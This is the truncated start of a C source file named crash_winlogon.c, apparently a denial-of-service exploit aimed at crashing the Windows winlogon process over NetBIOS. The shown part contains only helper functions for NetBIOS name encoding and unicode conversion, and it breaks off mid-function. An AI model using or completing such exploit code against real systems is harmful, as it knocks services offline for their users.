/* * crash_winlogon.c * * by Renaud Deraison - deraison@cvs.nessus.org * * This code is released under the GNU General Public License. * (thanks for respecting this license) * * In case you are wondering, here is the motto I applied for this code : * * "Structures are for sissies" */ #include #include #ifdef WIN32 #include #define bzero(x,y) memset(x, 0, y) #else #include #include #include #include #define closesocket(x) close(x) #endif char * netbios_name(char * orig) { int i, len; char * ret = malloc(40); bzero(ret, 40); len = strlen(orig); for(i=0;i<16;i++) { if(i >= len) strcat(ret, "CA"); else { int odiv, omod; odiv = (orig[i] / 16) + 'A'; omod = (orig[i] % 16) + 'A'; ret[strlen(ret)]=odiv; ret[strlen(ret)]=omod; } } return(ret); } char * netbios_redirector() { int i; char * ret = malloc(31); bzero(ret, 31); for(i=0;i<15;i++)strcat(ret, "CA"); strcat(ret, "AA"); return(ret); } char* unicode(char * data) { int len = strlen(data); int i; char * ret = malloc(110); int l = 0; bzero(ret,110); for(i=0;i